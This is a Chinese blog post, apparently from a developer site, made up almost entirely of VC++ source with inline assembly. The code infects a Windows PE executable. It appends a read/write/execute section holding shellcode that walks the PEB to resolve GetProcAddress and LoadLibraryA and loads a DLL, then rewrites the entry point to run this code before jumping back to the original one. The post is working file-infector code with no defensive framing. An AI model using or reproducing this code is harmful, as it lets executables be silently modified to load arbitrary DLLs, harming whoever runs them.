VC++实现感染文件式加载DLL文件

 

源码分析如下

 

#include "windows.h"    
#include "stdio.h"    
//判断文件是否为合法PE文件    
BOOL CheckPe(FILE* pFile)   
{          
    fseek(pFile,0,SEEK_SET);   
    BOOL    bFlags=FALSE;   
    WORD    IsMZ;   
    DWORD   IsPE,pNT;   
    fread(&IsMZ,sizeof(WORD),1,pFile);   
    if(IsMZ==0x5A4D)   
    {   
        fseek(pFile,0x3c,SEEK_SET);   
        fread(&pNT,sizeof(DWORD),1,pFile);   
        fseek(pFile,pNT,SEEK_SET);   
        fread(&IsPE,sizeof(DWORD),1,pFile);   
        if(IsPE==0X00004550)   
            bFlags=TRUE;   
        else   
            bFlags=FALSE;   
    }   
    else   
        bFlags=FALSE;   
    fseek(pFile,0,SEEK_SET);   
    return bFlags;   
}   
   
//用来计算对齐数据后的大小    
int alig(int size,unsigned int align)   
{   
    if(size%align!=0)   
        return (size/align+1)*align;   
    else    
        return size;   
}   
   
   
int main(int argc,char* argv[])   
{   
    if(argc!=2)   
    {   
        printf("\t\tusage:add_section filename\n");   
        exit(-1);   
    }   
    FILE* rwFile;   
    if((rwFile=fopen(argv[1],"rb"))==NULL)//打开文件失败则退出    
    {   
        printf("\t\tOpen file faild\n");   
        exit(-1);   
    }   
   
    if(!CheckPe(rwFile))   
    {   
        printf("\t\tinvalid pe......!\n");   
        exit(-1);   
    }   
    //备份原文件    
    char szNewFile[10]="_New.exe";   
    if(!CopyFile(argv[1],szNewFile,0)) //若备份文件出错则退出    
    {   
        printf("\t\tbak faild\n");   
        exit(-1);   
    }   
    IMAGE_NT_HEADERS NThea;    
    fseek(rwFile,0x3c,0);   
    DWORD pNT; //pNT中存放IMAGE_NT_HEADERS结构的地址    
    fread(&pNT,sizeof(DWORD),1,rwFile);   
    fseek(rwFile,pNT,0);   
    fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); //读取原文件的IMAGE_NT_HEADERS结构    
    //保存原文件区块数量与OEP    
    int nOldSectionNo=NThea.FileHeader.NumberOfSections;   
    int OEP=NThea.OptionalHeader.AddressOfEntryPoint;   
    //保存文件对齐值与区块对齐值    
    int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;   
    int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   
   
    //定义要添加的区块    
    IMAGE_SECTION_HEADER    NewSection;   
    //将该结构全部清零    
    memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));   
    //再定义一个区块,来存放原文件最后一个区块的信息    
    IMAGE_SECTION_HEADER SEChea;    
    //读原文件最后一个区块的信息    
    fseek(rwFile,pNT+248,0);   
    for(int i=0;i<nOldSectionNo;i++)   
        fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);   
   
    FILE *newfile=fopen(szNewFile,"rb+");   
    if(newfile==NULL)   
    {   
        printf("\t\tOpen bak file faild\n");   
        exit(-1);   
    }   
    fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);   
    goto shellend;   
__asm   
{          
shell:  PUSHAD   
        MOV EAX,DWORD PTR FS:[30H]  ;FS:[30H]指向PEB   
        MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针   
        MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针   
        MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针   
        MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址   
        MOV EBP,EAX     ;   将Kernel32.dll模块基址地址放至kernel中   
        MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS   
        MOV EAX,DWORD PTR [EBP+EAX+120] ;指向导出表   
        MOV ECX,[EBP+EAX+24]    ;取导出表中导出函数名字的数目   
        MOV EBX,[EBP+EAX+32]    ;取导出表中名字表的地址   
        ADD EBX,EBP   
        PUSH WORD  PTR 0X00         ;构造GetProcAddress字符串   
        PUSH DWORD PTR 0X73736572   
        PUSH DWORD PTR 0X64644163   
        PUSH DWORD PTR 0X6F725074   
        PUSH WORD PTR 0X6547   
        MOV  EDX,ESP   
        PUSH ECX   
   
           
F1:    
        MOV EDI,EDX   
        POP ECX   
        DEC ECX   
        TEST    ECX,ECX   
        JZ  EXIT   
        MOV ESI,[EBX+ECX*4]        
        ADD ESI,EBP   
        PUSH    ECX   
        MOV ECX,15   
        REPZ    CMPSB   
        TEST    ECX,ECX   
        JNZ F1   
       
        POP ECX   
        MOV ESI,[EBP+EAX+36]    ;取得导出表中序号表的地址   
        ADD ESI,EBP   
        MOVZX   ESI,WORD PTR[ESI+ECX*2]     ;取得进入函数地址表的序号   
        MOV EDI,[EBP+EAX+28]    ;取得函数地址表的地址   
        ADD EDI,EBP   
        MOV EDI,[EDI+ESI*4]     ;取得GetProcAddress函数的地址   
        ADD EDI,EBP            
           
        PUSH WORD PTR 0X00          ;构造LoadLibraryA字符串   
        PUSH DWORD PTR 0X41797261   
        PUSH DWORD PTR 0X7262694C   
        PUSH DWORD PTR 0X64616F4C   
        PUSH ESP   
        PUSH    EBP   
        CALL    EDI         ;调用GetProcAddress取得LoadLibraryA函数的地址   
        PUSH    WORD PTR 0X00       ;构造test符串,测试新增节后的EXE是否能正常加载test.dll   
        PUSH    DWORD PTR 0X74736574   
        PUSH    ESP   
        CALL    EAX   
EXIT:   ADD ESP,36          ;平衡堆栈   
        POPAD   
}   
shellend:   
        char *pShell;   
        int nShellLen;   
__asm   
{   
        LEA EAX,shell   
        MOV pShell,EAX;   
        LEA EBX,shellend   
        SUB EBX,EAX   
        MOV nShellLen,EBX   
}   
       
    //写入SHELLCODE,    
    for(i=0;i<nShellLen;i++)   
        fputc(pShell[i],newfile);   
    //SHELLCODE之后是跳转到原OEP的指令    
    NewSection.VirtualAddress=SEChea.VirtualAddress+alig(SEChea.Misc.VirtualSize,SECTION_ALIG);   
    BYTE jmp = 0xE9;   
    OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;   
    fwrite(&jmp, sizeof(jmp), 1, newfile);   
    fwrite(&OEP, sizeof(OEP), 1, newfile);   
    //将最后增加的数据用0填充至按文件中对齐的大小    
    for(i=0;i<alig(nShellLen,FILE_ALIG)-nShellLen-5;i++)   
        fputc('\0',newfile);   
    //新区块中的数据    
    strcpy((char*)NewSection.Name,".llydd");   
    NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;   
    NewSection.Misc.VirtualSize=nShellLen;   
    NewSection.SizeOfRawData=alig(nShellLen,FILE_ALIG);   
    NewSection.Characteristics=0xE0000020;//新区块可读可写可执行    
    fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);   
   
    //写入新的块表    
    fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);   
   
    int nNewImageSize=NThea.OptionalHeader.SizeOfImage+alig(nShellLen,SECTION_ALIG);   
    int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+alig(nShellLen,FILE_ALIG);   
    fseek(newfile,pNT,0);   
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;   
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;   
    NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;   
    NThea.OptionalHeader.SizeOfImage=nNewImageSize;   
    NThea.FileHeader.NumberOfSections=nOldSectionNo+1;   
    NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;   
    //写入更新后的PE头结构    
    fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);   
    printf("\t\tok.........!\n");   
   
    fclose(newfile);   
    fclose(rwFile);   
   
    return 1;    
   
}  


 

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尹成

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值